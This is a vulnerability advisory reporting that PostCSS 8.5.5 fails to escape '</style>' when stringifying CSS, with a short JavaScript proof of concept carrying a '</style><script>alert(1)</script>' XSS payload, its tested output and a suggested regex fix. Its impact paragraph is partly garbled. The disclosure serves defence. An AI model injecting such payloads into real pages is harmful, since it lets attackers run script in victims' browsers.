PostCSS has XSS via Unescaped </style> in its CSS Stringify Output

PostCSS: XSS via Unescaped </style> in CSS Stringify Output

Summary

PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.

Proof of Concept

const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Tested output (Node.js v22, postcss v8.5.5):

Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true

Impact

Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.

Suggested Fix

Escape </style in all stringified output values:

output = output.replace(/<\/(style)/gi, '<\\/$1');

Credits

Discovered and reported by Sunil Kumar (@TharVid)